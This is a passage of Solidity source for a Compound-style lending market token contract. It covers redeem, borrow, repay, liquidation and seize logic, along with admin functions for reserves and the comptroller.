require(vars.mathErr == MathError.NO_ERROR, "MINT_NEW_TOTAL_SUPPLY_CALCULATION_FAILED");
(vars.mathErr, vars.accountTokensNew) = addUInt(accountTokens[minter], vars.mintTokens);
require(vars.mathErr == MathError.NO_ERROR, "MINT_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED");
/* We write previously calculated values into storage */
totalSupply = vars.totalSupplyNew;
accountTokens[minter] = vars.accountTokensNew;
/* We emit a Mint event, and a Transfer event */
emit Mint(minter, vars.actualMintAmount, vars.mintTokens);
emit Transfer(address(this), minter, vars.mintTokens);
/* We call the defense hook */
comptroller.mintVerify(address(this), minter, vars.actualMintAmount, vars.mintTokens);
return (uint(Error.NO_ERROR), vars.actualMintAmount);
}
/**
* @notice Sender redeems cTokens in exchange for the underlying asset
* @dev Accrues interest whether or not the operation succeeds, unless reverted
* @param redeemTokens The number of cTokens to redeem into underlying
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function redeemInternal(uint redeemTokens) internal nonReentrant returns (uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but we still want to log the fact that an attempted redeem failed
return fail(Error(error), FailureInfo.REDEEM_ACCRUE_INTEREST_FAILED);
}
// redeemFresh emits redeem-specific logs on errors, so we don't need to
return redeemFresh(msg.sender, redeemTokens, 0);
}
/**
* @notice Sender redeems cTokens in exchange for a specified amount of underlying asset
* @dev Accrues interest whether or not the operation succeeds, unless reverted
* @param redeemAmount The amount of underlying to receive from redeeming cTokens
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function redeemUnderlyingInternal(uint redeemAmount) internal nonReentrant returns (uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but we still want to log the fact that an attempted redeem failed
return fail(Error(error), FailureInfo.REDEEM_ACCRUE_INTEREST_FAILED);
}
// redeemFresh emits redeem-specific logs on errors, so we don't need to
return redeemFresh(msg.sender, 0, redeemAmount);
}
struct RedeemLocalVars {
Error err;
MathError mathErr;
uint exchangeRateMantissa;
uint redeemTokens;
uint redeemAmount;
uint totalSupplyNew;
uint accountTokensNew;
}
/**
* @notice User redeems cTokens in exchange for the underlying asset
* @dev Assumes interest has already been accrued up to the current block
* @param redeemer The address of the account which is redeeming the tokens
* @param redeemTokensIn The number of cTokens to redeem into underlying (only one of redeemTokensIn or redeemAmountIn may be non-zero)
* @param redeemAmountIn The number of underlying tokens to receive from redeeming cTokens (only one of redeemTokensIn or redeemAmountIn may be non-zero)
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function redeemFresh(address payable redeemer, uint redeemTokensIn, uint redeemAmountIn) internal returns (uint) {
require(redeemTokensIn == 0 || redeemAmountIn == 0, "one of redeemTokensIn or redeemAmountIn must be zero");
RedeemLocalVars memory vars;
/* exchangeRate = invoke Exchange Rate Stored() */
(vars.mathErr, vars.exchangeRateMantissa) = exchangeRateStoredInternal();
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_EXCHANGE_RATE_READ_FAILED, uint(vars.mathErr));
}
/* If redeemTokensIn > 0: */
if (redeemTokensIn > 0) {
/*
* We calculate the exchange rate and the amount of underlying to be redeemed:
* redeemTokens = redeemTokensIn
* redeemAmount = redeemTokensIn x exchangeRateCurrent
*/
vars.redeemTokens = redeemTokensIn;
(vars.mathErr, vars.redeemAmount) = mulScalarTruncate(Exp({mantissa: vars.exchangeRateMantissa}), redeemTokensIn);
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_EXCHANGE_TOKENS_CALCULATION_FAILED, uint(vars.mathErr));
}
} else {
/*
* We get the current exchange rate and calculate the amount to be redeemed:
* redeemTokens = redeemAmountIn / exchangeRate
* redeemAmount = redeemAmountIn
*/
(vars.mathErr, vars.redeemTokens) = divScalarByExpTruncate(redeemAmountIn, Exp({mantissa: vars.exchangeRateMantissa}));
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_EXCHANGE_AMOUNT_CALCULATION_FAILED, uint(vars.mathErr));
}
vars.redeemAmount = redeemAmountIn;
}
/* Fail if redeem not allowed */
uint allowed = comptroller.redeemAllowed(address(this), redeemer, vars.redeemTokens);
if (allowed != 0) {
return failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.REDEEM_COMPTROLLER_REJECTION, allowed);
}
/* Verify market's block number equals current block number */
if (accrualBlockNumber != getBlockNumber()) {
return fail(Error.MARKET_NOT_FRESH, FailureInfo.REDEEM_FRESHNESS_CHECK);
}
/*
* We calculate the new total supply and redeemer balance, checking for underflow:
* totalSupplyNew = totalSupply - redeemTokens
* accountTokensNew = accountTokens[redeemer] - redeemTokens
*/
(vars.mathErr, vars.totalSupplyNew) = subUInt(totalSupply, vars.redeemTokens);
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_NEW_TOTAL_SUPPLY_CALCULATION_FAILED, uint(vars.mathErr));
}
(vars.mathErr, vars.accountTokensNew) = subUInt(accountTokens[redeemer], vars.redeemTokens);
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED, uint(vars.mathErr));
}
/* Fail gracefully if protocol has insufficient cash */
if (getCashPrior() < vars.redeemAmount) {
return fail(Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.REDEEM_TRANSFER_OUT_NOT_POSSIBLE);
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
/*
* We invoke doTransferOut for the redeemer and the redeemAmount.
* Note: The cToken must handle variations between ERC-20 and ETH underlying.
* On success, the cToken has redeemAmount less of cash.
* doTransferOut reverts if anything goes wrong, since we can't be sure if side effects occurred.
*/
doTransferOut(redeemer, vars.redeemAmount);
/* We write previously calculated values into storage */
totalSupply = vars.totalSupplyNew;
accountTokens[redeemer] = vars.accountTokensNew;
/* We emit a Transfer event, and a Redeem event */
emit Transfer(redeemer, address(this), vars.redeemTokens);
emit Redeem(redeemer, vars.redeemAmount, vars.redeemTokens);
/* We call the defense hook */
comptroller.redeemVerify(address(this), redeemer, vars.redeemAmount, vars.redeemTokens);
return uint(Error.NO_ERROR);
}
/**
* @notice Sender borrows assets from the protocol to their own address
* @param borrowAmount The amount of the underlying asset to borrow
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function borrowInternal(uint borrowAmount) internal nonReentrant returns (uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed
return fail(Error(error), FailureInfo.BORROW_ACCRUE_INTEREST_FAILED);
}
// borrowFresh emits borrow-specific logs on errors, so we don't need to
return borrowFresh(msg.sender, borrowAmount);
}
struct BorrowLocalVars {
MathError mathErr;
uint accountBorrows;
uint accountBorrowsNew;
uint totalBorrowsNew;
}
/**
* @notice Users borrow assets from the protocol to their own address
* @param borrowAmount The amount of the underlying asset to borrow
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function borrowFresh(address payable borrower, uint borrowAmount) internal returns (uint) {
/* Fail if borrow not allowed */
uint allowed = comptroller.borrowAllowed(address(this), borrower, borrowAmount);
if (allowed != 0) {
return failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.BORROW_COMPTROLLER_REJECTION, allowed);
}
/* Verify market's block number equals current block number */
if (accrualBlockNumber != getBlockNumber()) {
return fail(Error.MARKET_NOT_FRESH, FailureInfo.BORROW_FRESHNESS_CHECK);
}
/* Fail gracefully if protocol has insufficient underlying cash */
if (getCashPrior() < borrowAmount) {
return fail(Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.BORROW_CASH_NOT_AVAILABLE);
}
BorrowLocalVars memory vars;
/*
* We calculate the new borrower and total borrow balances, failing on overflow:
* accountBorrowsNew = accountBorrows + borrowAmount
* totalBorrowsNew = totalBorrows + borrowAmount
*/
(vars.mathErr, vars.accountBorrows) = borrowBalanceStoredInternal(borrower);
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED, uint(vars.mathErr));
}
(vars.mathErr, vars.accountBorrowsNew) = addUInt(vars.accountBorrows, borrowAmount);
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED, uint(vars.mathErr));
}
(vars.mathErr, vars.totalBorrowsNew) = addUInt(totalBorrows, borrowAmount);
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED, uint(vars.mathErr));
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
/*
* We invoke doTransferOut for the borrower and the borrowAmount.
* Note: The cToken must handle variations between ERC-20 and ETH underlying.
* On success, the cToken borrowAmount less of cash.
* doTransferOut reverts if anything goes wrong, since we can't be sure if side effects occurred.
*/
doTransferOut(borrower, borrowAmount);
/* We write the previously calculated values into storage */
accountBorrows[borrower].principal = vars.accountBorrowsNew;
accountBorrows[borrower].interestIndex = borrowIndex;
totalBorrows = vars.totalBorrowsNew;
/* We emit a Borrow event */
emit Borrow(borrower, borrowAmount, vars.accountBorrowsNew, vars.totalBorrowsNew);
/* We call the defense hook */
comptroller.borrowVerify(address(this), borrower, borrowAmount);
return uint(Error.NO_ERROR);
}
/**
* @notice Sender repays their own borrow
* @param repayAmount The amount to repay
* @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount.
*/
function repayBorrowInternal(uint repayAmount) internal nonReentrant returns (uint, uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed
return (fail(Error(error), FailureInfo.REPAY_BORROW_ACCRUE_INTEREST_FAILED), 0);
}
// repayBorrowFresh emits repay-borrow-specific logs on errors, so we don't need to
return repayBorrowFresh(msg.sender, msg.sender, repayAmount);
}
/**
* @notice Sender repays a borrow belonging to borrower
* @param borrower the account with the debt being payed off
* @param repayAmount The amount to repay
* @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount.
*/
function repayBorrowBehalfInternal(address borrower, uint repayAmount) internal nonReentrant returns (uint, uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed
return (fail(Error(error), FailureInfo.REPAY_BEHALF_ACCRUE_INTEREST_FAILED), 0);
}
// repayBorrowFresh emits repay-borrow-specific logs on errors, so we don't need to
return repayBorrowFresh(msg.sender, borrower, repayAmount);
}
struct RepayBorrowLocalVars {
Error err;
MathError mathErr;
uint repayAmount;
uint borrowerIndex;
uint accountBorrows;
uint accountBorrowsNew;
uint totalBorrowsNew;
uint actualRepayAmount;
}
/**
* @notice Borrows are repaid by another user (possibly the borrower).
* @param payer the account paying off the borrow
* @param borrower the account with the debt being payed off
* @param repayAmount the amount of undelrying tokens being returned
* @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount.
*/
function repayBorrowFresh(address payer, address borrower, uint repayAmount) internal returns (uint, uint) {
/* Fail if repayBorrow not allowed */
uint allowed = comptroller.repayBorrowAllowed(address(this), payer, borrower, repayAmount);
if (allowed != 0) {
return (failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.REPAY_BORROW_COMPTROLLER_REJECTION, allowed), 0);
}
/* Verify market's block number equals current block number */
if (accrualBlockNumber != getBlockNumber()) {
return (fail(Error.MARKET_NOT_FRESH, FailureInfo.REPAY_BORROW_FRESHNESS_CHECK), 0);
}
RepayBorrowLocalVars memory vars;
/* We remember the original borrowerIndex for verification purposes */
vars.borrowerIndex = accountBorrows[borrower].interestIndex;
/* We fetch the amount the borrower owes, with accumulated interest */
(vars.mathErr, vars.accountBorrows) = borrowBalanceStoredInternal(borrower);
if (vars.mathErr != MathError.NO_ERROR) {
return (failOpaque(Error.MATH_ERROR, FailureInfo.REPAY_BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED, uint(vars.mathErr)), 0);
}
/* If repayAmount == -1, repayAmount = accountBorrows */
if (repayAmount == uint(-1)) {
vars.repayAmount = vars.accountBorrows;
} else {
vars.repayAmount = repayAmount;
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
/*
* We call doTransferIn for the payer and the repayAmount
* Note: The cToken must handle variations between ERC-20 and ETH underlying.
* On success, the cToken holds an additional repayAmount of cash.
* doTransferIn reverts if anything goes wrong, since we can't be sure if side effects occurred.
* it returns the amount actually transferred, in case of a fee.
*/
vars.actualRepayAmount = doTransferIn(payer, vars.repayAmount);
/*
* We calculate the new borrower and total borrow balances, failing on underflow:
* accountBorrowsNew = accountBorrows - actualRepayAmount
* totalBorrowsNew = totalBorrows - actualRepayAmount
*/
(vars.mathErr, vars.accountBorrowsNew) = subUInt(vars.accountBorrows, vars.actualRepayAmount);
require(vars.mathErr == MathError.NO_ERROR, "REPAY_BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED");
(vars.mathErr, vars.totalBorrowsNew) = subUInt(totalBorrows, vars.actualRepayAmount);
require(vars.mathErr == MathError.NO_ERROR, "REPAY_BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED");
/* We write the previously calculated values into storage */
accountBorrows[borrower].principal = vars.accountBorrowsNew;
accountBorrows[borrower].interestIndex = borrowIndex;
totalBorrows = vars.totalBorrowsNew;
/* We emit a RepayBorrow event */
emit RepayBorrow(payer, borrower, vars.actualRepayAmount, vars.accountBorrowsNew, vars.totalBorrowsNew);
/* We call the defense hook */
comptroller.repayBorrowVerify(address(this), payer, borrower, vars.actualRepayAmount, vars.borrowerIndex);
return (uint(Error.NO_ERROR), vars.actualRepayAmount);
}
/**
* @notice The sender liquidates the borrowers collateral.
* The collateral seized is transferred to the liquidator.
* @param borrower The borrower of this cToken to be liquidated
* @param cTokenCollateral The market in which to seize collateral from the borrower
* @param repayAmount The amount of the underlying borrowed asset to repay
* @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount.
*/
function liquidateBorrowInternal(address borrower, uint repayAmount, CTokenInterface cTokenCollateral) internal nonReentrant returns (uint, uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but we still want to log the fact that an attempted liquidation failed
return (fail(Error(error), FailureInfo.LIQUIDATE_ACCRUE_BORROW_INTEREST_FAILED), 0);
}
error = cTokenCollateral.accrueInterest();
if (error != uint(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but we still want to log the fact that an attempted liquidation failed
return (fail(Error(error), FailureInfo.LIQUIDATE_ACCRUE_COLLATERAL_INTEREST_FAILED), 0);
}
// liquidateBorrowFresh emits borrow-specific logs on errors, so we don't need to
return liquidateBorrowFresh(msg.sender, borrower, repayAmount, cTokenCollateral);
}
/**
* @notice The liquidator liquidates the borrowers collateral.
* The collateral seized is transferred to the liquidator.
* @param borrower The borrower of this cToken to be liquidated
* @param liquidator The address repaying the borrow and seizing collateral
* @param cTokenCollateral The market in which to seize collateral from the borrower
* @param repayAmount The amount of the underlying borrowed asset to repay
* @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount.
*/
function liquidateBorrowFresh(address liquidator, address borrower, uint repayAmount, CTokenInterface cTokenCollateral) internal returns (uint, uint) {
/* Fail if liquidate not allowed */
uint allowed = comptroller.liquidateBorrowAllowed(address(this), address(cTokenCollateral), liquidator, borrower, repayAmount);
if (allowed != 0) {
return (failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.LIQUIDATE_COMPTROLLER_REJECTION, allowed), 0);
}
/* Verify market's block number equals current block number */
if (accrualBlockNumber != getBlockNumber()) {
return (fail(Error.MARKET_NOT_FRESH, FailureInfo.LIQUIDATE_FRESHNESS_CHECK), 0);
}
/* Verify cTokenCollateral market's block number equals current block number */
if (cTokenCollateral.accrualBlockNumber() != getBlockNumber()) {
return (fail(Error.MARKET_NOT_FRESH, FailureInfo.LIQUIDATE_COLLATERAL_FRESHNESS_CHECK), 0);
}
/* Fail if borrower = liquidator */
if (borrower == liquidator) {
return (fail(Error.INVALID_ACCOUNT_PAIR, FailureInfo.LIQUIDATE_LIQUIDATOR_IS_BORROWER), 0);
}
/* Fail if repayAmount = 0 */
if (repayAmount == 0) {
return (fail(Error.INVALID_CLOSE_AMOUNT_REQUESTED, FailureInfo.LIQUIDATE_CLOSE_AMOUNT_IS_ZERO), 0);
}
/* Fail if repayAmount = -1 */
if (repayAmount == uint(-1)) {
return (fail(Error.INVALID_CLOSE_AMOUNT_REQUESTED, FailureInfo.LIQUIDATE_CLOSE_AMOUNT_IS_UINT_MAX), 0);
}
/* Fail if repayBorrow fails */
(uint repayBorrowError, uint actualRepayAmount) = repayBorrowFresh(liquidator, borrower, repayAmount);
if (repayBorrowError != uint(Error.NO_ERROR)) {
return (fail(Error(repayBorrowError), FailureInfo.LIQUIDATE_REPAY_BORROW_FRESH_FAILED), 0);
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
/* We calculate the number of collateral tokens that will be seized */
(uint amountSeizeError, uint seizeTokens) = comptroller.liquidateCalculateSeizeTokens(address(this), address(cTokenCollateral), actualRepayAmount);
require(amountSeizeError == uint(Error.NO_ERROR), "LIQUIDATE_COMPTROLLER_CALCULATE_AMOUNT_SEIZE_FAILED");
/* Revert if borrower collateral token balance < seizeTokens */
require(cTokenCollateral.balanceOf(borrower) >= seizeTokens, "LIQUIDATE_SEIZE_TOO_MUCH");
// If this is also the collateral, run seizeInternal to avoid re-entrancy, otherwise make an external call
uint seizeError;
if (address(cTokenCollateral) == address(this)) {
seizeError = seizeInternal(address(this), liquidator, borrower, seizeTokens);
} else {
seizeError = cTokenCollateral.seize(liquidator, borrower, seizeTokens);
}
/* Revert if seize tokens fails (since we cannot be sure of side effects) */
require(seizeError == uint(Error.NO_ERROR), "token seizure failed");
/* We emit a LiquidateBorrow event */
emit LiquidateBorrow(liquidator, borrower, actualRepayAmount, address(cTokenCollateral), seizeTokens);
/* We call the defense hook */
comptroller.liquidateBorrowVerify(address(this), address(cTokenCollateral), liquidator, borrower, actualRepayAmount, seizeTokens);
return (uint(Error.NO_ERROR), actualRepayAmount);
}
/**
* @notice Transfers collateral tokens (this market) to the liquidator.
* @dev Will fail unless called by another cToken during the process of liquidation.
* Its absolutely critical to use msg.sender as the borrowed cToken and not a parameter.
* @param liquidator The account receiving seized collateral
* @param borrower The account having collateral seized
* @param seizeTokens The number of cTokens to seize
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function seize(address liquidator, address borrower, uint seizeTokens) external override nonReentrant returns (uint) {
return seizeInternal(msg.sender, liquidator, borrower, seizeTokens);
}
/**
* @notice Transfers collateral tokens (this market) to the liquidator.
* @dev Called only during an in-kind liquidation, or by liquidateBorrow during the liquidation of another CToken.
* Its absolutely critical to use msg.sender as the seizer cToken and not a parameter.
* @param seizerToken The contract seizing the collateral (i.e. borrowed cToken)
* @param liquidator The account receiving seized collateral
* @param borrower The account having collateral seized
* @param seizeTokens The number of cTokens to seize
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function seizeInternal(address seizerToken, address liquidator, address borrower, uint seizeTokens) internal returns (uint) {
/* Fail if seize not allowed */
uint allowed = comptroller.seizeAllowed(address(this), seizerToken, liquidator, borrower, seizeTokens);
if (allowed != 0) {
return failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.LIQUIDATE_SEIZE_COMPTROLLER_REJECTION, allowed);
}
/* Fail if borrower = liquidator */
if (borrower == liquidator) {
return fail(Error.INVALID_ACCOUNT_PAIR, FailureInfo.LIQUIDATE_SEIZE_LIQUIDATOR_IS_BORROWER);
}
MathError mathErr;
uint borrowerTokensNew;
uint liquidatorTokensNew;
/*
* We calculate the new borrower and liquidator token balances, failing on underflow/overflow:
* borrowerTokensNew = accountTokens[borrower] - seizeTokens
* liquidatorTokensNew = accountTokens[liquidator] + seizeTokens
*/
(mathErr, borrowerTokensNew) = subUInt(accountTokens[borrower], seizeTokens);
if (mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.LIQUIDATE_SEIZE_BALANCE_DECREMENT_FAILED, uint(mathErr));
}
(mathErr, liquidatorTokensNew) = addUInt(accountTokens[liquidator], seizeTokens);
if (mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.LIQUIDATE_SEIZE_BALANCE_INCREMENT_FAILED, uint(mathErr));
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
/* We write the previously calculated values into storage */
accountTokens[borrower] = borrowerTokensNew;
accountTokens[liquidator] = liquidatorTokensNew;
/* Emit a Transfer event */
emit Transfer(borrower, liquidator, seizeTokens);
/* We call the defense hook */
comptroller.seizeVerify(address(this), seizerToken, liquidator, borrower, seizeTokens);
return uint(Error.NO_ERROR);
}
/*** Admin Functions ***/
/**
* @notice Begins transfer of admin rights. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer.
* @dev Admin function to begin change of admin. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer.
* @param newPendingAdmin New pending admin.
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _setPendingAdmin(address payable newPendingAdmin) external override returns (uint) {
// Check caller = admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_PENDING_ADMIN_OWNER_CHECK);
}
// Save current value, if any, for inclusion in log
address oldPendingAdmin = pendingAdmin;
// Store pendingAdmin with value newPendingAdmin
pendingAdmin = newPendingAdmin;
// Emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin)
emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin);
return uint(Error.NO_ERROR);
}
/**
* @notice Accepts transfer of admin rights. msg.sender must be pendingAdmin
* @dev Admin function for pending admin to accept role and update admin
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _acceptAdmin() external override returns (uint) {
// Check caller is pendingAdmin and pendingAdmin ≠ address(0)
if (msg.sender != pendingAdmin || msg.sender == address(0)) {
return fail(Error.UNAUTHORIZED, FailureInfo.ACCEPT_ADMIN_PENDING_ADMIN_CHECK);
}
// Save current values for inclusion in log
address oldAdmin = admin;
address oldPendingAdmin = pendingAdmin;
// Store admin with value pendingAdmin
admin = pendingAdmin;
// Clear the pending value
pendingAdmin = address(0);
emit NewAdmin(oldAdmin, admin);
emit NewPendingAdmin(oldPendingAdmin, pendingAdmin);
return uint(Error.NO_ERROR);
}
/**
* @notice Sets a new comptroller for the market
* @dev Admin function to set a new comptroller
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _setComptroller(ComptrollerInterface newComptroller) public override returns (uint) {
// Check caller is admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_COMPTROLLER_OWNER_CHECK);
}
ComptrollerInterface oldComptroller = comptroller;
// Ensure invoke comptroller.isComptroller() returns true
require(newComptroller.isComptroller(), "marker method returned false");
// Set market's comptroller to newComptroller
comptroller = newComptroller;
// Emit NewComptroller(oldComptroller, newComptroller)
emit NewComptroller(oldComptroller, newComptroller);
return uint(Error.NO_ERROR);
}
/**
* @notice accrues interest and sets a new reserve factor for the protocol using _setReserveFactorFresh
* @dev Admin function to accrue interest and set a new reserve factor
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _setReserveFactor(uint newReserveFactorMantissa) external override nonReentrant returns (uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted reserve factor change failed.
return fail(Error(error), FailureInfo.SET_RESERVE_FACTOR_ACCRUE_INTEREST_FAILED);
}
// _setReserveFactorFresh emits reserve-factor-specific logs on errors, so we don't need to.
return _setReserveFactorFresh(newReserveFactorMantissa);
}
/**
* @notice Sets a new reserve factor for the protocol (*requires fresh interest accrual)
* @dev Admin function to set a new reserve factor
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _setReserveFactorFresh(uint newReserveFactorMantissa) internal returns (uint) {
// Check caller is admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_RESERVE_FACTOR_ADMIN_CHECK);
}
// Verify market's block number equals current block number
if (accrualBlockNumber != getBlockNumber()) {
return fail(Error.MARKET_NOT_FRESH, FailureInfo.SET_RESERVE_FACTOR_FRESH_CHECK);
}
// Check newReserveFactor ≤ maxReserveFactor
if (newReserveFactorMantissa > reserveFactorMaxMantissa) {
return fail(Error.BAD_INPUT, FailureInfo.SET_RESERVE_FACTOR_BOUNDS_CHECK);
}
uint oldReserveFactorMantissa = reserveFactorMantissa;
reserveFactorMantissa = newReserveFactorMantissa;
emit NewReserveFactor(oldReserveFactorMantissa, newReserveFactorMantissa);
return uint(Error.NO_ERROR);
}
/**
* @notice Accrues interest and reduces reserves by transferring from msg.sender
* @param addAmount Amount of addition to reserves
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _addReservesInternal(uint addAmount) internal nonReentrant returns (uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted reduce reserves failed.
return fail(Error(error), FailureInfo.ADD_RESERVES_ACCRUE_INTEREST_FAILED);
}
// _addReservesFresh emits reserve-addition-specific logs on errors, so we don't need to.
(error, ) = _addReservesFresh(addAmount);
return error;
}
/**
* @notice Add reserves by transferring from caller
* @dev Requires fresh interest accrual
* @param addAmount Amount of addition to reserves
* @return (uint, uint) An error code (0=success, otherwise a failure (see ErrorReporter.sol for details)) and the actual amount added, net token fees
*/
function _addReservesFresh(uint addAmount) internal returns (uint, uint) {
// totalReserves + actualAddAmount
uint totalReservesNew;
uint actualAddAmount;
// We fail gracefully unless market's block number equals current block number
if (accrualBlockNumber != getBlockNumber()) {
return (fail(Error.MARKET_NOT_FRESH, FailureInfo.ADD_RESERVES_FRESH_CHECK), actualAddAmount);
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
/*
* We call doTransferIn for the caller and the addAmount
* Note: The cToken must handle variations between ERC-20 and ETH underlying.
* On success, the cToken holds an additional addAmount of cash.
* doTransferIn reverts if anything goes wrong, since we can't be sure if side effects occurred.
* it returns the amount actually transferred, in case of a fee.
*/
actualAddAmount = doTransferIn(msg.sender, addAmount);
totalReservesNew = totalReserves + actualAddAmount;
/* Revert on overflow */
require(totalReservesNew >= totalReserves, "add reserves unexpected overflow");
// Store reserves[n+1] = reserves[n] + actualAddAmount
totalReserves = totalReservesNew;
/* Emit NewReserves(admin, actualAddAmount, reserves[n+1]) */
emit ReservesAdded(msg.sender, actualAddAmount, totalReservesNew);
/* Return (NO_ERROR, actualAddAmount) */
return (uint(Error.NO_ERROR), actualAddAmount);
}
/**
* @notice Accrues interest and reduces reserves by transferring to admin
* @param reduceAmount Amount of reduction to reserves
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _reduceReserves(uint reduceAmount) external override nonReentrant returns (uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted reduce reserves failed.
return fail(Error(error), FailureInfo.REDUCE_RESERVES_ACCRUE_INTEREST_FAILED);
}
// _reduceReservesFresh emits reserve-reduction-specific logs on errors, so we don't need to.
return _reduceReservesFresh(reduceAmount);
}
/**
* @notice Reduces reserves by transferring to admin
* @dev Requires fresh interest accrual
* @param reduceAmount Amount of reduction to reserves
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _reduceReservesFresh(uint reduceAmount) internal returns (uint) {
// totalReserves - reduceAmount
uint totalReservesNew;
// Check caller is admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.REDUCE_RESERVES_ADMIN_CHECK);
}
// We fail gracefully unless market's block number equals current block number
if (accrualBlockNumber != getBlockNumber()) {
return fail(Error.MARKET_NOT_FRESH, FailureInfo.REDUCE_RESERVES_FRESH_CHECK);
}
// Fail gracefully if protocol has insufficient underlying cash
if (getCashPrior() < reduceAmount) {
return fail(Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.REDUCE_RESERVES_CASH_NOT_AVAILABLE);
}
// Check reduceAmount ≤ reserves[n] (totalReserves)
if (reduceAmount > totalReserves) {
return fail(Error.BAD_INPUT, FailureInfo.REDUCE_RESERVES_VALIDATION);
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
totalReservesNew = totalReserves - reduceAmount;
// We checked reduceAmount <= totalReserves above, so this should never revert.
require(totalReservesNew <= totalReserves, "reduce reserves unexpected underflow");
// Store reserves[n+1] = reserves[n] - reduceAmount
totalReserves = totalReservesNew;
// doTransferOut reverts if anything goes wrong, since we can't be sure if side effects occurred.
doTransferOut(admin, reduceAmount);
emit ReservesReduced(admin, reduceAmount, totalReservesNew);
return uint(Error.NO_ERROR);
}
/**
* @notice accrues interest and updates the interest rate model using _setInterestRateModelFresh
* @dev Admin function to accrue interest and update the interest rate model
* @param newInterestRateModel the new interest rate model to use
